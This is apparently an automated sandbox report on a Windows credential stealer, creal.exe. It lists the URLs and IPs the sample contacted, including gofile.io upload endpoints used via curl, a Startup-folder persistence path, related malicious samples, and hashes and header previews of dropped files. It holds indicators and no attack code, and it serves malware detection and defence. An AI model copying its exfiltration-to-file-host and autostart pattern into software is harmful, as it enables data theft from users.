http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	creal.exe, 00000002.00000003.1507517761.00000185BBBF4000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1519132495.00000185BB856000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1516398623.00000185BBB87000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458778204.00000185BB83D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1525161571.00000185BBBF8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1543590405.00000185BB859000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1398441028.00000185BBBB7000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1400715482.00000185BB849000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1560090054.00000185BBBF8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1524890898.00000185BBBE0000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1398046489.00000185BBBB7000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1517238738.00000185BBBB6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gofile.io/d/plrjGQ)	creal.exe, 00000002.00000003.1549737336.00000185BBE1D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hotmail.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.di	creal.exe, 0000001A.00000003.1544673920.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org/	creal.exe, 00000002.00000003.1519492705.00000185BC7A3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458858671.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/	creal.exe, 00000002.00000003.1541014652.00000185BB3A8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1519430974.00000185BB3A1000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515166540.00000185BB39C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542006425.00000185BC7A1000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1518329891.00000185BB39D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1522000277.00000185BC7A0000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1521844215.00000185BB3A6000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458858671.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hbo.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store4.gofile.io/uploadFilestore4.gofile.ioMY	curl.exe, 0000000E.00000002.1496127332.0000021D976B7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://geolocation-db.com/jsonp/	creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://store4.gofile.io/uploadFileOMEDRIVE	cmd.exe, 00000009.00000002.1481576957.0000020D491B0000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.112.123.126	api.gofile.io	Singapore	16509	AMAZON-02US	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
159.89.102.253	geolocation-db.com	United States	14061	DIGITALOCEAN-ASNUS	false
31.14.70.245	store4.gofile.io	Virgin Islands (BRITISH)	199483	LINKER-ASFR	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592536
Start date and time:	2025-01-16 09:08:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	creal.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.winEXE@76/190@4/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.253.45, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:09:24	API Interceptor	1x Sleep call for process: dllhost.exe modified
08:09:16	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.112.123.126	random.exe	Get hash	malicious	CStealer	Browse
	1.exe	Get hash	malicious	Unknown	Browse
	1.exe	Get hash	malicious	Unknown	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Python Stealer	Browse
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse
	main.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, PRYSMAX STEALER	Browse
	main.exe	Get hash	malicious	Unknown	Browse
104.26.13.205	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	BiXS3FRoLe.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	lEUy79aLAW.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	Simple1.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
159.89.102.253	https://redduppgh.com/	Get hash	malicious	Unknown	Browse
	random.exe	Get hash	malicious	CStealer	Browse
	random.exe	Get hash	malicious	CStealer	Browse
	http://www.klim.com	Get hash	malicious	Unknown	Browse
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse
	chos.exe	Get hash	malicious	Unknown	Browse
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse
	file.exe	Get hash	malicious	CStealer	Browse
	GE AEROSPACE _WIRE REMITTANCE.xlsx	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
store4.gofile.io	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	31.14.70.245
	chos.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	31.14.70.245
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	31.14.70.245
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	31.14.70.245
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	31.14.70.245
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	31.14.70.245
	7Y18r(14).exe	Get hash	malicious	LummaC, AsyncRAT, Bdaejec, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	31.14.70.245
	w85VkFOxiD.exe	Get hash	malicious	Python Stealer, CStealer, NiceRAT, Quasar	Browse	31.14.70.245
	9afaXJv52z.exe	Get hash	malicious	Exela Stealer	Browse	31.14.70.245
s-part-0017.t-0009.fb-t-msedge.net	Invoice#T5O2025.xls	Get hash	malicious	Unknown	Browse	13.107.253.45
	cotizaci#U00f3n.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.45
	Invoice#T5O2025.xls	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://link.edgepilot.com/s/62bf622f/uVTE_PYEIEirHx_sVIJYBQ?u=https://www.google.com/url?sa=https://r20.rs6.net/tns.jsp?f=t%26rct=j%26q=%26esrc=s%26source=web%26cd=%26cad=rja%26uact=8%26ved=2ahUKEwj_UJK636660tcVNh_0HHcggMUkQFnoECB0QAQ%26url=amp/s/avastroy.by/%2577%2570%252D%2563%256F%256E%2574%2565%256E%2574%252F%2572%2565%2564%252E%2568%2574%256D%256C	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	009.vbe	Get hash	malicious	AgentTesla	Browse	13.107.253.45
	download.ps1	Get hash	malicious	Unknown	Browse	13.107.253.45
	Zohobooks Voip CaIIer left (4) voice message from +1 (___) ___-__92 [MSG ID-zNeaDpAKAIgeQjKGl].eml	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	https://u13762205.ct.sendgrid.net/ls/click?upn=u001.2N-2FFSd8Mh5tdTcK2pEXUToH0F5-2Fq3FDo8pnKFzcXMK24EOVQRPQXOzov3WP6TeQDbpOFMAzOhzk6g52qaRBXMg-3D-3DIjNL_PKcFXsnzduNOkTk1M1BuFSXBwpDtJ5JnfBBGS8mWfSDpSIzzZrzaRAqzsWn9I2SACyGbOCQAHofmU9ue-2Bfpl8m5UVDAXfATbU3zHgCM2w6TpOzhFbmwlUQoZzHTxRoJD6sBCzgzJz3SY7rmsp-2BquYHmL2DTOkQggmMFIfKhNPVaBf8NTmimDBPZdcr9YqjF8L6hryY10MBbjsSOUH778gw-3D-3D	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://www.databreachtoday.com/showOnDemand.php?webinarID=6054&rf=OD_REQUEST;	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.107.253.45
api.ipify.org	55ryoipjfdr.exe	Get hash	malicious	Trickbot	Browse	104.26.12.205
	http://com-evaluate-fanpage30127.pages.dev/help/contact/671203900952887	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://cancelartransferenciaprogramadabdb.glitch.me/	Get hash	malicious	Unknown	Browse	104.26.12.205
	009.vbe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://adelademable.org/abujguyaleon.html	Get hash	malicious	Unknown	Browse	104.26.12.205
	0969686.vbe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	NEW SHIPPING DOCUMENTS.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	new order.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	http://loginmicrosoftonline.al-mutaheda.com/expiration/notice/nRrRc/receiving@accel-inc.com	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
geolocation-db.com	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	159.89.102.253
	random.exe	Get hash	malicious	CStealer	Browse	159.89.102.253
	random.exe	Get hash	malicious	CStealer	Browse	159.89.102.253
	http://www.klim.com	Get hash	malicious	Unknown	Browse	159.89.102.253
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	159.89.102.253
	chos.exe	Get hash	malicious	Unknown	Browse	159.89.102.253
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	159.89.102.253
	file.exe	Get hash	malicious	CStealer	Browse	159.89.102.253
	GE AEROSPACE _WIRE REMITTANCE.xlsx	Get hash	malicious	Unknown	Browse	159.89.102.253
	Creal.exe	Get hash	malicious	Creal Stealer	Browse	159.89.102.253

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LINKER-ASFR	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	31.14.70.245
	chos.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	31.14.70.245
	gKWbina3a4.bat	Get hash	malicious	Stealerium	Browse	31.14.70.244
	K6aOw2Jmji.exe	Get hash	malicious	Stealerium	Browse	31.14.70.244
	uyz4YPUyc9.exe	Get hash	malicious	Stealerium	Browse	31.14.70.244
	yv7QsAR49V.exe	Get hash	malicious	Stealerium	Browse	31.14.70.244
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	31.14.70.244
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	31.14.70.244
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse	31.14.70.249
CLOUDFLARENETUS	http://links.888brands.net/ctt?m=34615482&r=LTg3OTY1NDQ3MDYS1&b=0&j=Mjc2MDE1OTMzMwS2&mt=1&kt=12&kx=1&k=email-router-cross_secureutils&kd=//american-faucet-and-coatings-corporation.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	162.159.128.70
	55ryoipjfdr.exe	Get hash	malicious	Trickbot	Browse	104.26.12.205
	ORDER-202577008.lnk	Get hash	malicious	Unknown	Browse	104.21.96.1
	INQUIRY LIST 292.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	Contrarre.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	PI ITS15235 (2).doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	QT202515010642.JPG.PDF.vbs	Get hash	malicious	Unknown	Browse	104.17.151.117
	Personliche Nachricht fur Friedhelm Hanusch.pdf	Get hash	malicious	Unknown	Browse	104.18.94.41
	arm7.elf	Get hash	malicious	Unknown	Browse	1.12.192.222
	https://solve.xfzz.org/awjsx.captcha?u=20d5b468-46a4-4894-abf8-dabd03b71a69	Get hash	malicious	Unknown	Browse	172.67.215.98
DIGITALOCEAN-ASNUS	87.121.112.22-arm-2025-01-16T06_52_38.elf	Get hash	malicious	Unknown	Browse	134.123.199.37
	Personliche Nachricht fur Friedhelm Hanusch.pdf	Get hash	malicious	Unknown	Browse	167.99.0.216
	http://161-35-123-255.ipv4.staticdns3.io/	Get hash	malicious	Unknown	Browse	161.35.123.255
	https://google.com.vn/url?q=IEQBZO82U018ETYNCV6WTYH64K0BD9FgQiApLjODz3yh4nNeW8uuQi&rct=152c27645d86ba0833d5001d33047642wDnNeW8yycT&sa=t&esrc=nTgV8F152c27645d86ba0833d5001d33047642A0xys8Em2FL&source=&cd=tS6T8152c27645d86ba0833d5001d33047642Tiw9XH&cad=JxWzDfBP152c27645d86ba0833d5001d33047642VS0Y&ved=xjnktlqryYWwVTDrgvK&uact=&url=amp%2Fsexado.nl/helosuns/152c27645d86ba0833d5001d33047642/bWlzdHkuYWxuYWhhb2lAdGV4YW5hY2VudGVyLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	192.241.142.4
	https://google.com.vn/url?q=IEQBZO82U018ETYNCV6WTYH64K0BD9FgQiApLjODz3yh4nNeW8uuQi&rct=152c27645d86ba0833d5001d33047642wDnNeW8yycT&sa=t&esrc=nTgV8F152c27645d86ba0833d5001d33047642A0xys8Em2FL&source=&cd=tS6T8152c27645d86ba0833d5001d33047642Tiw9XH&cad=JxWzDfBP152c27645d86ba0833d5001d33047642VS0Y&ved=xjnktlqryYWwVTDrgvK&uact=&url=amp%2Fsexado.nl/helosuns/152c27645d86ba0833d5001d33047642/bWlzdHkuYWxuYWhhb2lAdGV4YW5hY2VudGVyLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	192.241.142.4
	https://bigbazaar.com.co/	Get hash	malicious	Unknown	Browse	134.122.57.34
	bot.spc.elf	Get hash	malicious	Unknown	Browse	206.189.186.138
	bot.mips.elf	Get hash	malicious	Unknown	Browse	134.123.157.226
	i486.elf	Get hash	malicious	Mirai	Browse	157.230.1.143
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	167.172.53.231
AMAZON-02US	http://links.888brands.net/ctt?m=34615482&r=LTg3OTY1NDQ3MDYS1&b=0&j=Mjc2MDE1OTMzMwS2&mt=1&kt=12&kx=1&k=email-router-cross_secureutils&kd=//american-faucet-and-coatings-corporation.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	13.35.58.2
	i686.elf	Get hash	malicious	Unknown	Browse	3.181.128.91
	87.121.112.22-mips-2025-01-16T06_52_39.elf	Get hash	malicious	Unknown	Browse	18.143.253.91
	Personliche Nachricht fur Friedhelm Hanusch.pdf	Get hash	malicious	Unknown	Browse	13.32.121.106
	arm7.elf	Get hash	malicious	Unknown	Browse	54.102.149.214
	i586.elf	Get hash	malicious	Unknown	Browse	54.220.46.34
	Aqua.arm7.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	13.122.108.244
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	34.221.242.254
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	35.74.235.143

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	recode.exe	Get hash	malicious	HTMLPhisher	Browse	31.14.70.245
	gem2.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	gem1.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	tiko-ifyzit-srdh.vbs	Get hash	malicious	Unknown	Browse	31.14.70.245
	Jx6bD8nM4qW9sL3v.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	31.14.70.245
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	676556be12ac3.vbs	Get hash	malicious	Mint Stealer	Browse	31.14.70.245

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_ARC4.pyd	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse
	1.exe	Get hash	malicious	Unknown	Browse
	1.exe	Get hash	malicious	Unknown	Browse
	vj0Vxt8xM4.exe	Get hash	malicious	Unknown	Browse
	vj0Vxt8xM4.exe	Get hash	malicious	Unknown	Browse
	snmpapi.exe	Get hash	malicious	Braodo	Browse
	snmpapi.exe	Get hash	malicious	Braodo	Browse
	54Oa5PcvK1.exe	Get hash	malicious	Unknown	Browse
	LmZVhGD5jF.exe	Get hash	malicious	Unknown	Browse
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_ARC4.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.703513333396807
Encrypted:	false
SSDEEP:	96:nDzb9VD9daQ2iTrqT+6Zdp/Q0I1uLfcC75JiC4Rs89EcYyGDV90OcX6gY/7ECFV:Dzz9damqTrpYTst0E5DVPcqgY/79X
MD5:	6176101B7C377A32C01AE3EDB7FD4DE6
SHA1:	5F1CB443F9D677F313BEC07C5241AEAB57502F5E
SHA-256:	EFEA361311923189ECBE3240111EFBA329752D30457E0DBE9628A82905CD4BDB
SHA-512:	3E7373B71AE0834E96A99595CFEF2E96C0F5230429ADC0B5512F4089D1ED0D7F7F0E32A40584DFB13C41D257712A9C4E9722366F0A21B907798AE79D8CEDCF30
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 1.exe, Detection: malicious, Browse Filename: 1.exe, Detection: malicious, Browse Filename: vj0Vxt8xM4.exe, Detection: malicious, Browse Filename: vj0Vxt8xM4.exe, Detection: malicious, Browse Filename: snmpapi.exe, Detection: malicious, Browse Filename: snmpapi.exe, Detection: malicious, Browse Filename: 54Oa5PcvK1.exe, Detection: malicious, Browse Filename: LmZVhGD5jF.exe, Detection: malicious, Browse Filename: zW72x5d91l.bat, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...b..b..b..R...b..Uc..b.Rc..b..c..b..Ug..b..Uf..b..Ua..b..j..b..b..b....b..`..b.Rich.b.................PE..d....e.........." ...%............P........................................p............`.........................................P(.......(..d....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata..,.... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..,....`.......*..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_Salsa20.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	4.968452734961967
Encrypted:	false
SSDEEP:	96:JF3TgNlF/1Nt5aSd4+1ijg0NLfFNJSCqsstXHTeH5ht47qMbxbfDqbwYH/kcX6gT:WF/1nb2mhQtkXHTeZ87VDqrMcqgYvEp
MD5:	371776A7E26BAEB3F75C93A8364C9AE0
SHA1:	BF60B2177171BA1C6B4351E6178529D4B082BDA9
SHA-256:	15257E96D1CA8480B8CB98F4C79B6E365FE38A1BA9638FC8C9AB7FFEA79C4762
SHA-512:	C23548FBCD1713C4D8348917FF2AB623C404FB0E9566AB93D147C62E06F51E63BDAA347F2D203FE4F046CE49943B38E3E9FA1433F6455C97379F2BC641AE7CE9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%............P.....................................................`..........................................8......x9..d....`.......P..L............p..,....3...............................1..@............0...............................text...(........................... ..`.rdata.......0......................@..@.data...8....@.......*..............@....pdata..L....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_chacha20.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.061461040216793
Encrypted:	false
SSDEEP:	192:ldF/1nb2mhQtkXn0t/WS60YYDEiqvdvGyv9lkVcqgYvEMo:v2f6XSZ6XYD6vdvGyv9MgYvEMo
MD5:	CB5238E2D4149636377F9A1E2AF6DC57
SHA1:	038253BABC9E652BA4A20116886209E2BCCF35AC
SHA-256:	A8D3BB9CD6A78EBDB4F18693E68B659080D08CB537F9630D279EC9F26772EFC7
SHA-512:	B1E6AB509CF1E5ECC6A60455D6900A76514F8DF43F3ABC3B8D36AF59A3DF8A868B489ED0B145D0D799AAC8672CBF5827C503F383D3F38069ABF6056ECCD87B21
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%............P.....................................................`..........................................8.......9..d....`.......P..d............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..d....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_pkcs1_decode.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.236167046748013
Encrypted:	false
SSDEEP:	192:/siHXqpoUol3xZhRyQX5lDnRDFYav+tcqgRvE:h6D+XBDgDgRvE
MD5:	D9E7218460AEE693BEA07DA7C2B40177
SHA1:	9264D749748D8C98D35B27BEFE6247DA23FF103D
SHA-256:	38E423D3BCC32EE6730941B19B7D5D8872C0D30D3DD8F9AAE1442CB052C599AD
SHA-512:	DDB579E2DEA9D266254C0D9E23038274D9AE33F0756419FD53EC6DC1A27D1540828EE8F4AD421A5CFFD9B805F1A68F26E70BDC1BAB69834E8ACD6D7BB7BDB0DB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...........R......U.....R............U......U......U................}.........Rich...........................PE..d....e.........." ...%............P.....................................................`..........................................9.......9..d....`.......P..\|............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@.......,..............@....pdata..\|....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aes.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	6.558176937399355
Encrypted:	false
SSDEEP:	384:Dz2P+7nYpPMedFDlDchrVX1mEVmT9ZgkoD/PKDkGuF0U390QOo8VdbKBWmuCLg46:DzeqWB7YJlmLJ3oD/S4j990th9VCsC
MD5:	F751792DF10CDEED391D361E82DAF596
SHA1:	3440738AF3C88A4255506B55A673398838B4CEAC
SHA-256:	9524D1DADCD2F2B0190C1B8EDE8E5199706F3D6C19D3FB005809ED4FEBF3E8B5
SHA-512:	6159F245418AB7AD897B02F1AADF1079608E533B9C75006EFAF24717917EAA159846EE5DFC0E85C6CFF8810319EFECBA80C1D51D1F115F00EC1AFF253E312C00
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...b..b..b..R...b..Uc..b.Rc..b..c..b..Ug..b..Uf..b..Ua..b..j..b..b..b....b..`..b.Rich.b.................PE..d....e.........." ...%.H...H......P.....................................................`.................................................,...d...............................4... ...................................@............`...............................text....F.......H.................. ..`.rdata..d6...`...8...L..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aesni.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	5.285191078037458
Encrypted:	false
SSDEEP:	192:wJBjJHEkEPYi3Xd+dc26E4++yuqAyXW9wifD4jqccqgwYUMvEW:ikRwi3wO26Ef+yuIm9PfD7wgwYUMvE
